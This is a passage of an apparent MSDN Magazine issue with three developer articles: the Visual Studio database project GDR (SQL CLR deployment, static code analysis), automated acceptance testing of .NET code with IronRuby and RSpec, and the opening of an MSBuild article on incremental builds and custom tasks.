At this point, you can deploy the assembly created by the CustomTypes CLR project by selecting Deploy from Database1's project properties. Because we haven't configured a connection string for the project, it will generate a CREATE deployment script. In the output window, you'll see the output shown in Figure 12.
Figure 12 Deploying the CustomTypes Assembly
------ Build started: Project: CustomTypes, Configuration: Debug Any CPU ------
C:\WINDOWS\Microsoft.NET\Framework\v3.5\Csc.exe /noconfig
/nowarn:1701,1702 /warn:4 /define:DEBUG;TRACE /reference:C:\WINDOWS\
Microsoft.NET\Framework\v2.0.50727\System.Data.dll /reference:C:\WINDOWS\
Microsoft.NET\Framework\v2.0.50727\System.dll /reference:C:\WINDOWS\
Microsoft.NET\Framework\v2.0.50727\System.XML.dll /debug+ /debug:full
/optimize- /out:obj\Debug\SqlClassLibrary.dll /target:library Properties\AssemblyInfo.cs

Compile complete -- 0 errors, 0 warnings
CustomTypes -> D:\Demos\Database1\CustomTypes\bin\Debug\SqlClassLibrary.dll
------ Build started: Project: Database1, Configuration: Debug Any CPU ------
    Loading project references...
    Loading project files...
    Building the project model and resolving object interdependencies...
    Validating the project model...
    Writing model to Database1.dbschema...
  Database1 -> D:\Demos\Database1\Database1\sql\debug\Database1.dbschema
------ Deploy started: Project: CustomTypes, Configuration: Debug Any CPU ------
Error: Cannot deploy. There is no database connection specified. To
correct this error, add a database connection using the project properties.
Error: The operation could not be completed
------ Deploy started: Project: Database1, Configuration: Debug Any CPU ------
    Deployment script generated to:
D:\Demos\Database1\Database1\sql\debug\Database1.sql

    The deployment script was generated, but was not deployed. You can
    change the deploy action on the Deploy tab of the project properties.
========== Build: 2 succeeded or up-to-date, 0 failed, 0 skipped ==========
========== Deploy: 1 succeeded, 1 failed, 0 skipped ==========
The CustomTypes project is referenced by Database1, so Visual Studio attempted to deploy the project before deploying Database1. Because we did not supply a connection string for the CustomTypes project, it could not be deployed, which caused an error. We can ignore this error because the assembly is going to be deployed as part of the Database1 deployment script. You can prevent this error by turning off deployment of CustomTypes through the Configuration Manager.
After building and deploying the project, you can open the Database1 deployment script and see that the assembly is created toward the end of the script:
GO
﻿PRINT N'Creating CustomTypes...';

GO
CREATE ASSEMBLY [CustomTypes]
    AUTHORIZATION [dbo]
    FROM 0x4D5A90000300000004[snip…]
    WITH PERMISSION_SET = SAFE;

GO
The contents of the assembly are also used to verify type references at build time. To see this, add a user-defined type (UDT) to the CustomTypes project using the default template. Call this file Type1.cs. To use this type in the database, it must be declared in the database project. To add the user-defined type, right-click Database1, click Add Item, and then use the User-defined Type (CLR) template. By default, the file created by the template will be the following:
CREATE TYPE [dbo].[Type1]
  EXTERNAL NAME [assembly_name].[type_name]
Now modify this T-SQL to reference Type1 in CustomTypes, like so:
CREATE TYPE [dbo].[Type1]
  EXTERNAL NAME [CustomTypes].[Type1]
Save this file, and then look in the error list. You will see an error like the following:
TSD04117: The referenced type with the required Clr attribute was not found in the loaded
assembly.
This error is displayed because the CustomTypes project has not been built since we added Type1.cs. Rebuilding the CustomTypes project will make this error disappear. You can use this custom type as a column type by adding the following table to the project:
CREATE TABLE [dbo].[Table1]
(
  column_1 int NOT NULL,
  column_2 dbo.Type1 NULL
)
When the table is added to the project, the reference to dbo.Type1 is evaluated by the project system and will cause errors if dbo.Type1 does not exist.
In addition to writing a deployment script, the project can also be deployed to a SQL 2008 instance, as shown in Figure 13. When the project is deployed to the target instance, the deployment engine detects that the database needs to be created and the contents of the project are created in correct dependency order.
Figure 13 Deploying the CustomTypes Project
------ Build started: Project: CustomTypes, Configuration: Debug Any CPU ------
CustomTypes -> D:\Demos\Database1\CustomTypes\bin\Debug\SqlClassLibrary.dll
------ Build started: Project: Database1, Configuration: Debug Any CPU ------
    Loading project references...
    Loading project files...
    Building the project model and resolving object interdependencies...
    Validating the project model...
    Writing model to Database1.dbschema...
  Database1 -> D:\Demos\Database1\Database1\sql\debug\Database1.dbschema
------ Skipped Deploy: Project: CustomTypes, Configuration: Debug Any CPU ------
Project not selected to build for this solution configuration
------ Deploy started: Project: Database1, Configuration: Debug Any CPU ------
    Deployment script generated to:
D:\Demos\Database1\Database1\sql\debug\Database1.sql

    Creating Database1...
    Creating CustomTypes...
    Creating dbo.Type1...
    Creating dbo.Table1...
========== Build: 2 succeeded or up-to-date, 0 failed, 0 skipped ==========
========== Deploy: 1 succeeded, 0 failed, 1 skipped ==========

Static Code Analysis Improvements
Prior to the release of the GDR, static code analysis was available through a power tool. The GDR has integrated static code analysis and provides a couple of changes to the Static Code Analysis (SCA) engine that make its execution more flexible.
SCA can now be executed as part of every build or from the command line using MSBuild. To force SCA to run with every build, toggle the Enable Code Analysis option in the Code Analysis section of the project's properties. Each rule or rule group can be treated as a warning (default) or an error. SCA rules that find errors in your project can cause the build to fail and halt deployment. SCA warnings and errors can also now be suppressed at the rule and file level.
To suppress a rule, right-click an SCA warning or error in the error list and choose Suppress Static Code Analysis Message(s). Rules that have been suppressed are added to the file called StaticCodeAnalysis.SupressMessages.xml in the root of the project system. To include rules that have been suppressed, delete the file from the project or remove specific rule and file combinations from the file. Figure 14 shows the code analysis section of the project properties window with the new options.
Figure 14 Static Code Analysis Options
SCA can be enabled as part of a database project's build. If SCA is enabled, it will run as part of each project build and could cause the build to fail if errors are detected by SCA. This is also true for builds started from the command line using MSBuild. The GDR also provides an SCA MSBuild target (StaticCodeAnalysis), which allows SCA to be executed independently of the Enable SCA For Build option.
SCA can be configured per project, which means that a different set of rules and error options can be defined for each configuration or environment. Running SCA from the command line produces a results file called StaticCodeAnalysis.Results.xml. This file is written to the directory from which MSBuild is invoked. The results file name and location can be changed by overriding the ResultsFile property.
To execute SCA from the command line with MSBuild, use the following command:
msbuild MyDatabase.dbproj /t:StaticCodeAnalysis
Figure 15 shows an example of the SCA results file produced.
Figure 15 A Sample SCA Results File
<?xml version="1.0" encoding="utf-8" ?>
<Problems>
<Problems>
      <Rule>Microsoft.Design#SR0001</Rule>
    <ProblemDescription>The shape of the result set produced by a SELECT
    * statement will change if the underlying table or view structure
    changes.</ProblemDescription>
<SourceFile>C:\USERS\XXXX\DOCUMENTS\VISUAL STUDIO 2008\PROJECTS\ \
MYDATABASE\MYDATABASE\SCHEMA OBJECTS\SCHEMAS\DBO\PROGRAMMABILITY\STORED
PROCEDURES\MYSTOREDPROC.PROC.SQL</SourceFile>
  <Line>6</Line>
  <Column>8</Column>
  <Severity>Warning</Severity>
  </Problems>
</Problems>

﻿Tips and Tricks
There are a number of other changes that come with the GDR that I want to note before wrapping up the article.
With the GDR, you now have the capability to move an object from one schema to another. In addition, the GDR has the capability to preserve refactoring changes and emit the appropriate T-SQL to make those changes against the target server during deployment. For instance, if you rename a table, an sp_rename is issued during the next deployment instead of dropping and re-creating the table.
The types of files that can be referenced by a database project have been expanded. In the GDR, a reference can be created to the following file types:
  • Projects
  • .dbschema files
  • .dll (SQL CLR support)
  • .xsd (XSD)
In the case of a database project or a .dbschema file reference, the project is logically referencing another database. If the reference has no three- or four-part name, it is considered a "composite" project reference. Composite projects are a new feature that allows a database to be logically split into multiple projects—the intent was to split the database schema along security or organizational boundaries—for development and then manually deployed in the correct order. Composite projects are only supported for database-to-database references, not database-to-server or server-to-server references. In the case of a database-to-server reference, the reference is seeded with the literal "master."
As mentioned earlier in the article, references to SQL CLR projects, .dlls, and .xsds are references that include the referenced object into the database so that it can be used by the rest of your source code. These referenced objects will be deployed as part of your database project's deployment.
In the GDR release, the deployment property page has been reworked to allow for easy designation of whether settings are stored in the project file (.dbproj) or the user setting file (.user). Figure 16 shows an example.
Figure 16 Sandbox Configuration Settings
With this new property page, you can specify where settings are stored. By default, connection strings and the rest of the deployment configuration is stored in the project file and shared between team members. If the setting dropdown is changed to My Isolated Development Environment, the settings under Target Database Settings will be stored in the .user file.
Database unit testing was only slightly modified for the GDR release. One change was added to better support test-driven development, where a database project is deployed each time a test is run. With the new split between build and deploy, test-driven development suffered a performance hit because the database project was actually deployed each time tests were run. (This was not true in previous releases, where the deploy script would short-circuit if it had already been executed.)
Since most developers will use a sandbox database for their unit test runs and only update that sandbox via test runs, a setting was added that will execute the database project's deployment only if the .dbschema for the project is newer than the .sql script. To enable this setting, modify the test project's app.config as shown here:
<DatabaseDeployment
 DatabaseProjectFileName="..\..\..\Database1\Database1.dbproj"
 Configuration="Debug" ForceDeployment="false"/>
To detect whether deployment needs to be executed and to distinguish from deployment to other machines, the deployment script is given the name of the sandbox database. For instance, my sandbox database is named Database1Sandbox, so the deployment script is named UnitTestDeployment_Database1Sandbox.sql. As stated before, this setting should not be used if the sandbox database schema is modified in any way other than through unit test execution.
Extensibility has also been updated in the GDR to make way for extensions that will target different database providers. To define a class as an extension targeting a particular provider, you need to decorate it with the DatabaseSchemaProviderCompatibilityAttribute. For a data generator that targets all SQL versions, this would look like the following:
[DatabaseSchemaProviderCompatibility(typeof(SqlDatabaseSchemaProvider))]
Unit testing does not include the concept of a target database provider yet, and all the existing test conditions are provider independent. To define a new test condition add the following attributes:
[DatabaseSchemaProviderCompatibility(DspCompatibilityCategory.Any)]
[DatabaseSchemaProviderCompatibility(DspCompatibilityCategory.None)]
These attributes indicate that this test condition is valid if no database schema provider is present and the test condition is also valid for all database schema providers.

Jamie Laflen is a Tech Lead on the DBPro team. He is responsible for the unit testing, data generation, and build/deploy features. Prior to joining the development team, Jamie was part of Microsoft Services and helped customers implemement .NET applications inside Visual Studio.

Barclay Hill is a program manager and a new member of the DBPro team. Barclay comes to the team after leading enterprise database application development efforts in numerous industries for many years.


.NET Interop
Automate Acceptance Testing With IronRuby
Ben Hall
Code download available from the MSDN Code Gallery
Browse the Code Online

This article discusses:
  • What is acceptance testing?
  • Automated acceptance testing
  • Implementing acceptance tests
This article uses the following technologies:
IronRuby
Contents
What Is Acceptance Testing?
Automated Acceptance Testing
The Story
Scenarios
Implementing Acceptance Tests
RSpec Scenario Runner Interacting with C# Objects
Acceptance Testing the UI
Moving Forward
Almost every developer dreams of the day when customer requirements can be correctly communicated without having to waste time implementing incomplete or incorrect functionality. Wouldn't it be great if we could hand a clear, readable specification to a customer and ask them if this matches their feature requirements, after which we could run exactly the same specification, without any additional effort, to verify our implementation against those requirements?
This level of communication between customer and developer can be successfully accomplished using the concept of acceptance testing and executable specifications. By taking advantage of Behavior Driven Development (BDD), we can start communicating requirements more effectively.
In my article in the February 2009 issue of MSDN Magazine ("Getting Started With IronRuby And RSpec, Part 1"), I introduced you to IronRuby and demonstrated how it lets you use the dynamic Ruby language to interoperate with .NET-compliant code such as C#. In this article, I will introduce you to the concept of acceptance testing. By building on the concepts introduced in my previous article, I will demonstrate how acceptance testing can be automated using IronRuby and RSpec to verify .NET applications and create an executable specification for the system.

What Is Acceptance Testing?
Acceptance testing has been associated with many different definitions. For me, acceptance testing is more about verifying that the system under development meets the customer's requirements and less about reducing the number of bugs in our code. In other words, acceptance testing is not about testing code, but about building what the customer or business wants. It sounds obvious, but a lack of acceptance testing and a similar lack of understanding of the requirements are the main reasons for many project failures.
Acceptance testing only works with the support of the customer, or at the very least a proxy for the customer, to help define the criteria. Without someone driving the acceptance criteria, you have nothing to verify that the software is correct, which makes it difficult to verify you are building the correct software. The customer, together with all the members of the development team should come together to define the system in terms of a number of testable "scenarios" that describe what the system must do and how it must do it.
For example, if we were developing an e-commence system, an acceptance test might be based on shopping cart interaction. A typical scenario might be, "If the shopping cart is empty and I add Product 123, then the item count should increase to 1 and the subtotal should be $20." This provides an understanding of how the customer expects the shopping cart to behave and also provides some steps to verify the implementation. As the system grows, you would have more scenarios verifying different parts of the system and feature set.
Yet, an important consideration when writing the scenarios is the language used. The language should reflect how the business understands the problem, not how a developer would implement the solution. If the tests were described in terms of the actual implementation—"when I click the button 'Submit', the label 'Confirm' changes"—then this will provide less value to the customer and will be dependent on how you actually implement the system. If the actual implementation changes, but the business requirements remain the same, then this dependency will require additional maintenance costs as the team must update related tests.
By creating tests with clear requirements and passing criteria, your software stands a much better chance of meeting the customer's expectations. However, this still involves someone manually verifying that the requirements are met and the application works as expected. This is where the idea of automated acceptance tests comes in. Instead of the requirements being in an outdated document on a file share, the requirements are defined as examples and scenarios, are checked into source control with the implementation artifacts, and can be run at any point to verify whether any requirement is implemented and working properly. You can take the same approach for writing the tests, but instead of writing them in test case management software or in a spreadsheet, you write them directly in code

Automated Acceptance Testing
Acceptance testing will help to validate that you are building the application the customer wants, while automating these scenarios allows you to constantly verify the implementation throughout the development process and use them as part of your regression testing suite to ensure that future changes don't violate present requirements.
However, having a customer involved with writing tests, especially automated tests, introduces a number of potential problems. Customers, in general, are nontechnical and tend to shy away from the actual development of software. By collaborating with the technical team, the customer can provide the input and examples while testers or developers can quickly code the scenarios and executable specification. In addition, the scenarios must be clear to anyone within the business. By using IronRuby, you can improve the readability of tests, but how does this work in practice?
To illustrate how this process could potentially be used on a real project, I will demonstrate implementing one user story around a pricing calculation system. It's a simple example, but hopefully it will demonstrate the steps involved. Acceptance testing is a framework for how you can approach the problem, and there are many variants and interpretations. Nevertheless, this should provide you with the basic concepts allowing you to go forward and figure out which detailed techniques work for you.
This example came out of a "Red, Green, Refactor" presentation I gave at a local user group. Afterward, one of the attendees asked for my advice on how he could effectively unit test his application to ensure that all the price calculations, including various options and additions to the package, were being calculated correctly. This example is a perfect demonstration of where acceptance testing is extremely useful. By having a story and scenario around prices and what you expect to happen, you can be confident that the system is working correctly.
These verifications will also become a useful source of documentation for both the development team and the customers to demonstrate different examples of how the system works and the various exceptions. If a customer thinks that a price is incorrect, then the team can refer back to the executable specification, which the customer approved, as evidence of the work completed.
Without having these tests in place, the rules around pricing would likely be defined in huge Word documents attempting to explain how the system deals with various pricing configurations – documents that are inherently disconnected from the system being developed. This is why I believe in automated acceptance testing.

The Story
When developing a price calculation system with the aim of using acceptance tests, the first stage is to have everyone in a room define the story. Customers define what they want with encouragement from technical members of the team. With BDD, as mentioned in the previous article, you want to use a set format for defining the stories in order to support a consistent language between members of the team, and specifically what is required from the customer. Given the following format, you would fill in the details with help from the customer:
As a [role] I want [feature] so that [outcome].
An immediate mistake is often to start including implementation details in the story. For example:
As an administrator, I want prices to be displayed in a grid view on default.aspx, so that I can provide them with the cost.
The story must describe the problem only in specific business terms and steer clear of technical details. An improved example could be this:
As a sales administrator, I want prices to be identified for a customer so that I can provide them with the cost.
Sadly, while it follows the format, it provides some very loose information, and it doesn't provide a starting point for the implementation. An even better example would be:
As a sales administrator, I want to be able to view prices for product x, so that I can provide customers with an accurate cost based on their requirements.
This story provides us with more detail and more context about what the customer is expecting to happen and what they actually want. As a result, it is much more useful to us when implementing the system.
One important fact to remember when writing stories and features is to keep them as focused as possible. It will make it much easier to create the scenarios, write the tests, and implement the finished code. In some systems, the story might be based around a feature.

Scenarios
Even with a story, you still need more information about what you are expecting to happen. Scenarios are extremely useful for this. A scenario simply states that given a certain context, if something happens, then the output should be this. The aim is to provide a more concrete example of how the story's implementation should behave in different situations. This communicates the expectations to the team and provides steps for verification.
The recommended syntax to use is known as the Given, When, Then (GWT) syntax, promoted by Dan North:
Given [context], When [something happens], Then [outcome].
An example scenario might be something like this:
Scenario: Single User License for Product X without support
Given Product X, When user requests single user license And this does not include support, Then the price should be $250.
The use of "And" can be used to connect multiple contexts or outcomes to allow you to give more meaning to the scenario and provide more information about what is happening.
Ideally, there should be as many scenarios as possible to resolve any ambiguity, serve as the executable specification, and provide enough information for the initial work to start. It's important to note that these scenarios are not fixed. As the work proceeds and more knowledge is gained, you might need to go back to the customer with questions about existing scenarios or create additional scenarios based on the knowledge gained.
When writing the scenarios, there are a few things to keep in mind. Similar to stories, scenarios should be focused on one example. The main reason for this is readability. If the scenario is doing too much, then the core message is lost.

Implementing Acceptance Tests
Once you have the story and scenarios in a clear, understandable format, the next stage is to automate the story and scenarios. This allows them to be run during development to track progress and catch regression bugs. While I will be talking in terms of RSpec, the fundamental process can be transferred to any BDD framework. For details on installing IronRuby and RSpec, see my previously mentioned article.
If you follow the previous example of writing your stories, then you will find the scenario runner in RSpec very natural. Within a plain empty file, in this case a file called pricing_scenarios_for_product_x, you simply copy the story and scenarios into the file in the following format:
Story: Pricing for New Product X
  As a sales administrator, I want to be able to view
  prices for product x so that I can provide customers
  with an accurate cost for their requirements.
Scenario: Single User License for Product X without support
  Given Product X
  When user requests a 1 user license
  And this does not include support
  Then the price should be $250
This now forms the basis of our acceptance criteria and will be used when verifying the application. However, to enable them to act as the executable specification, you need some Ruby code to execute them. IronRuby is an easy environment to start writing and executing code. Simply create a file with a .rb extension and begin writing RSpec tests.
The first step is to reference the RSpec framework. This is done via require directives. By including the following two lines, you can start using the RSpec story runner:
require 'rubygems'
require 'spec/story'
Now you can define steps. A step is a line within the scenario using the GWT format. With RSpec, a step is associated with a method in code. Each step should be associated with doing only one task. For example, the Given step is used for setting up objects, while Then is generally where the assertion and verification occurs.
With RSpec, all the steps need to be wrapped in a block called steps_for. Inside the brackets is an identifier for that set of steps:
steps_for(:product_x) do
  #Steps go here
end
Each of the steps in the story directly relate to a line in the scenario. For example, the line "Given Product X" in the RSpec code would correspond to the following step method:
Given("Product $productName at $price") do |productName, price|
   pending "Need to complete implementation for accessing C# object"
 end
RSpec will perform string manipulation, allowing you to use placeholders in your step, with the placeholder value being set as a variable to the step. In this case, ProductName and Price will be stored in the variable, allowing you to reuse the same step for multiple different products and base prices.
Follow the same approach for the When and Then steps:
When("user requests a $amount user license") do |amount|
    pending "Need to complete implementation for accessing C# object"
  end
  When("this does not include support") do
    pending "Need to complete implementation for accessing C# object"
  end
  Then("the price should be $price") do |price|
    pending "Need to complete implementation for accessing C# object"
  End
For the second step you don't need a placeholder because it is always the same action, therefore the block doesn't have a parameter. When you execute the tests, RSpec will call the correct methods in the correct order based on the scenario, replacing the values as defined.
Finally, you need to provide the path to the story file you created first. This is another block called with_steps_for, providing the identifier used when defining the steps. The body calls the run method with the path and name of the file where the scenarios are stored:
with_steps_for(:product_x) do
  run File.dirname(__FILE__) + "/pricing_scenarios_for_product_x"
end
To execute the tests, run the IronRuby command-line tool (ir), passing the Ruby file as a parameter:
>ir pricing_scenarios_for_product_x_story.rb
While writing the steps, you will notice that I was calling the pending method. This is to indicate that there is still work required to complete the functionality. As a result, when I run the tests, the output will state all of the pending tasks (see Figure 1). This is great for readability and understanding what is happening—the last thing you want is for the step to pass because there isn't any implementation.
Figure 1 Displaying Pending Methods
Running 1 scenarios
Story: Pricing for New Product X
 As a sales administrator, I want to be able to view prices for product x,
 so that I can provide customers with an accurate cost for their requirements.
 Scenario: Single User License for Product X without support
  Given Product X at 250 (PENDING)
  When user orders a 1 user license (PENDING)
  And this does not include support (PENDING)
  Then the price should be 250 (PENDING)
1 scenarios: 0 succeeded, 0 failed, 1 pending
Pending Steps:
1. Pricing for New Product X (Single User License for Product X without support): Product $productName at $price
2. Pricing for New Product X (Single User License for Product X without support): user orders a $amount user license
3. Pricing for New Product X (Single User License for Product X without support): this does not include support
4. Pricing for New Product X (Single User License for Product X without support): the price should be $price

RSpec Scenario Runner Interacting with C# Objects
At this point, the story, scenarios and steps are in place. However, we haven't implemented any code to interact with our system. In my previous article, I focused on how you can use the RSpec specification framework to provide examples of how my C# objects work and verify their implementation as an isolated unit. In this article, we are looking at how you can use the RSpec story runner for acceptance testing, focusing on verifying the complete application stack instead of isolated blocks.
The first task is to reference the C# assembly. IronRuby holds true to the Ruby language constructs and, as a result, references C# libraries the same as referencing Ruby libraries:
require File.dirname(__FILE__) +
  '/CSharpAssembly/CSharpAssembly/bin/Debug/CSharpAssembly.dll'
Now we can begin writing the body of our scenarios that we defined in the previous section. For the scenarios to pass, we need to implement the function for calculating the total price of an order. Within the Given block, you initialize the objects required for the scenario. For our scenarios, the only object required to be initialized at this point is the Product object. The constructor for the object requires the product name and the price. Both are obtained from the method parameter, which in turn is obtained from the scenario itself:
Given("Product $productName at $price") do |productName, price|
    @product = CSharpNamespace::Product.new(productName, price.to_i)
  end
Once we have the initial objects, we need to set the variable state on those objects that will be the subject of our tests; this occurs in the When block. In our scenario, we state that a user has ordered a certain number of licenses, and our step needs to reflect this and set the object state accordingly:
When("user orders a $amount user license") do |amount|
    @order = CSharpNamespace::Order.new(@product)
    @order.NumberOfLicenses = amount.to_i
  end
Finally, we come to the part where we actually verify that the above action worked correctly. Within our Then block, we define our expectations and assertions.
Here, we take the order we created and verify that the subtotal does match the price we defined within our scenario. Should is an extension method created dynamically by RSpec on all the objects allowing us to verify the truth of our statement; if it's not true, then an exception is raised:
Then("the price should be $price") do |price|
    @order.Subtotal.should == price.to_i
  end
We can now execute the story by using the following command:
>ir pricing_scenarios_for_product_x_story.rb
When executing each scenario, RSpec will output the stories and scenarios to the console, if one of the steps fails, it will highlight the particular issue and indicate the total at the end:
Running 1 scenarios
Story: Pricing for New Product X
  As a sales administrator, I want to be able to view prices for product x,
  so that I can provide customers with an accurate cost for their requirements.

  Scenario: Single User License for Product X without support

    Given Product X at 250
    When user orders a 1 user license
    And this does not include support
    Then the price should be 250 (FAILED)

1 scenarios: 0 succeeded, 1 failed, 0 pending
If everything works successfully, then the following should appear on the command line:
Running 1 scenarios
Story: Pricing for New Product X
 As a sales administrator, I want to be able to view prices for product x,
 so that I can provide customers with an accurate cost for their requirements.
 Scenario: Single User License for Product X without support
  Given Product X at 250
  When user orders a 1 user license
  And this does not include support
  Then the price should be 250
1 scenarios: 1 succeeded, 0 failed, 0 pending
At this point we can start creating additional, more complex, scenarios to include more business logic. For example, you might want to include a discount on the price, with the scenario looking like this:
Scenario: Single User License for Product X with 20% discount
and includes 2 years unlimited premium support.
   Given Product X
   When user requests a 1 user license
   And including 2 years support
   And support length is unlimited
   And support type is premium
   And with 20% discount
   Then the price should be $800
As mentioned earlier, these scenarios use business terminology, making them readable not only to the customer but anyone in the business.

Acceptance Testing the UI
In my examples, the acceptance tests focused on the business logic and the domain objects in order to test whether the logic worked successfully. But what about how the user interacts with the application? These acceptance tests should be there to verify the logic is correct from the user's point of view—and the user's point of view is the UI.
Personally, I think acceptance tests should focus on the application logic and the important sections of the code that decide what to do. If your application has good decoupling and good separation of the logic from UI code, this should make the tests easier to implement. If you are testing at this level, your tests won't suffer from changes to the UI.
While the tests should focus solely on the logic, this doesn't mean you shouldn't have any acceptance tests around the UI. I like to have a set of smoke tests that target the core "happy path" of the UI. They focus on the parts of the application that users are most likely to use with the aim of getting the most value from the least amount of tests. If you attempt to cover all the possible paths and uses of the UI, and if the UI changes (such as options moving to different dialogs), then you would need to change all the tests.
For example, if you were testing the UI for an e-commerce site, the happy path would be to select an item, add it to your shopping cart, check out, and see the confirmation of purchase. If this scenario fails, you really want to know as soon as possible.
For certain applications, depending on complexity and lifetime, you might want to have more acceptance tests running on the UI to ensure that you have more confidence at the UI layer. Successfully testing the UI is a complex subject, though, and I don't have the space to cover it here. I recommend reading my blog posts on Project White for testing WPF and WatiN for testing Web apps. In addition, James McCaffrey has written on UI automation with Windows PowerShell in the December 2007 issue of MSDN Magazine.

Moving Forward
At this point, you are ready to start putting IronRuby to work on your acceptance tests. The information here should get you started, but there are some things you should keep in mind.
One possible issue is that IronRuby isn't ready for production use just yet. While you could use it today, there is continuing development and refinement of both IronRuby and RSpec. That means bug fixes, but also the possibility of breaking changes. There are also issues around the speed of execution of RSpec. However, it's worth evaluating whether the issues outweigh the advantages you get in simplifying your tests.
Another concern that some people may hold relates to context switching. Generally, people like to write tests and production code in the same language. While I generally agree, for unit tests where you are doing a large number of switches on a daily basis, you might not want to use IronRuby and RSpec. However, for acceptance testing, the amount of context switching needed is much lower. As a result, I think you can justify the context switching in order to take advantage of the readability and the more natural way of writing the verifications and scenarios because they will provide huge benefits to the customer and development team.
In the end, integrating acceptance testing into the development process can be a hugely positive step for a development organization. By using techniques such as stories and scenarios to define functionality in customer-oriented terms, coupled with readable yet automated acceptance tests, you will be able to create a more trusted partnership with your customer and consistently deliver more robust and reliable software.

Ben Hall is a UK C# developer/tester with a strong passion for software development. He loves writing code. Ben works at Red Gate Software as a Test Engineer and enjoys exploring different ways of testing software, including both manual and automated testing, focusing on the best ways to test different types of applications. Ben is a C# MVP and maintains a blog at Blog.BenHall.me.uk


MSBuild
Best Practices For Creating Reliable Builds, Part 2
Sayed Ibrahim Hashimi
Code download available from the MSDN Code Gallery
Browse the Code Online

This article discusses:
  • Using incremental builds
  • Creating custom tasks
  • Managing build references
  • Building large source trees
 This article uses the following technologies:
MSBuild, Visual Studio
Contents
Using Incremental Builds
Creating Custom Tasks
Managing Build References
Building Large Source Trees
This article is the second part of my discussion of best practices that developers should follow when using MSBuild, the engine used by Visual Studio to build managed projects. In Part 1, I described some basic practices and techniques that apply to most every project. Here in Part 2, I'll describe techniques more specific to build configurations that require heavier customization largely because of their size. The topics I'll focus on are using incremental builds, creating custom tasks, managing build references, and building large source trees.
If you are not familiar with MSBuild, take a look at my previous MSDN articles: "Best Practices For Creating Reliable Builds, Part 1", "Inside MSBuild: Compile Apps Your Way with Custom Tasks for the Microsoft Build Engine", and "WiX Tricks: Automate Releases with MSBuild and Windows Installer XML."

Using Incremental Builds
As builds become more complex, the time required to build applications increases. Building a large product might take several hours. Because builds are time-consuming, you should ensure that only out-of-date targets are executed. This concept, known as incremental building, is supported in MSBuild through the Inputs and Outputs attributes of the Target element. When MSBuild encounters a target with inputs and outputs, it compares the time stamps of the output files with the time stamps of the input files. If the input files are more recent, the target executes; otherwise, it is skipped.
To demonstrate this mechanism, I'll use the example from the section "Batching Tasks" (in part 1 of this article) in which a set of files is copied from one location to another. The listing in Figure 1 shows the Copy02.proj file, a modified version of the example.
Figure 1 Copy02.proj
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"
         ToolsVersion="3.5">

  <PropertyGroup>
    <SourceFolder>src\</SourceFolder>
    <DestFolder>dest\</DestFolder>
  </PropertyGroup>

  <ItemGroup>
    <!-- Get all files under src\ except svn files -->
    <SrcFiles Include="$(SourceFolder)**\*" Exclude="**\.svn\**\*"/>
  </ItemGroup>
  <Target Name="CopyToDest"
          Inputs="@(SrcFiles)"
          Outputs=
          "@(SrcFiles->'$(DestFolder)%(RecursiveDir)%(Filename)%(Extension)')">
    <Copy SourceFiles="@(SrcFiles)"
          DestinationFiles="@(SrcFiles->'$(DestFolder)%(RecursiveDir)%(Filename)%(Extension)')"
          />
  </Target>

  <Target Name="Clean">
    <ItemGroup>
      <_FilesToDelete Include="$(Dest)**\*"/>
    </ItemGroup>

    <Delete Files="@(_FilesToDelete)"/>
  </Target>
</Project>
The main difference between this file and the Copy01.proj file is the use of Inputs and Outputs. Here, the CopyToDest target declares the files being copied as inputs and the destination files as outputs. If the copied files are up to date, the target is skipped. Take a look at how this works in Figure 2.
Figure 2 Skipping the CopyToDest Target
C:\Samples\Batching>msbuild Copy02.proj /fl /nologo
Build started 10/26/2008 6:15:37 PM.
Project "C:\Samples\Batching\Copy02.proj" on node 0 (default targets).
Skipping target "CopyToDest" because all output files are up-to-date with respect to the input files.
Done Building Project "C:\Samples\Batching\Copy02.proj" (default targets).

Build succeeded.
    0 Warning(s)
    0 Error(s)
In certain circumstances, some of the outputs are up to date but not all of them. When MSBuild detects this situation, a subset of the inputs is passed to the target to be executed.
Here's an example. The Copy03.proj file has the same contents as Copy02.proj but with an additional target, DeleteRandomOutputFiles, which deletes two files from the output directory. :
<Target Name="DeleteRandomOutputFiles">
  <!-- Arbitrarily delete two files from dest folder  -->
  <ItemGroup>
    <_RandomFilesToDelete Include="$(DestFolder)class3.cs"/>
    <_RandomFilesToDelete Include="$(DestFolder)Admin\admin_class2.cs"/>
  </ItemGroup>

  <Delete Files="@(_RandomFilesToDelete)"/>
</Target>
Because these two files are deleted from the destination, the target's inputs are no longer up to date, so the target should not be skipped. If you execute the command msbuild Copy03.proj /t:DeleteRandomOutputFiles;CopyToDest after CopyToDest has been called once already, you'll see the results shown in Figure 3.
Figure 3 Partially Building a Target
C:\Samples\Batching>msbuild Copy03.proj /t:DeleteRandomOutputFiles;CopyToDest
Build started 10/26/2008 11:09:56 PM.
Project "C:\Samples\Batching\Copy03.proj" on node 0 (DeleteRandomOutputFiles;CopyToDest target(s)).
  Deleting file "dest\class3.cs".
  Deleting file "dest\Admin\admin_class2.cs".
CopyToDest:
Building target "CopyToDest" partially, because some output files are out of date with respect to their input files.
Copying file from "src\Admin\admin_class2.cs" to "dest\Admin\admin_class2.cs".
Copying file from "src\class3.cs" to "dest\class3.cs".
Done Building Project "C:\Samples\Batching\Copy03.proj" (DeleteRandomOutputFiles;CopyToDest target(s)).

Build succeeded.
    0 Warning(s)
    0 Error(s)
From the output, you can see that the CopyToDest target was partially built, meaning that a partial list of its inputs was provided to the target. The target only had to copy two files instead of many more. For complex builds, incremental building is crucial, and you should always create targets that support this mechanism.

Creating Custom Tasks
When you write a custom task, design it to be as reusable as possible. For example, a SendEmail task is more useful than a SendEmailToJoe task. Here are some guidelines to follow when you create custom tasks. I'll expand on each guideline throughout this section.
  • Extend the Task or the ToolTask class.
  • Log messages appropriately.
  • Tasks must communicate transparently.
  • Use the Required attribute for all required input parameters.
  • Use the Output attribute on all properties that project files might be interested in.
  • Use ITaskItem for file references instead of string.
  • Always transfer metadata for new output values that are related to inputs.
When you are writing tasks, you don't need to implement the ITask (Microsoft.Build.Framework) interface directly. The easier approach is to extend either the Task or ToolTask class, both of which are found in the Microsoft.Build.Utilities namespace. If you are creating a task that wraps an executable, you should use the ToolTask class. For other situations, use the Task class.
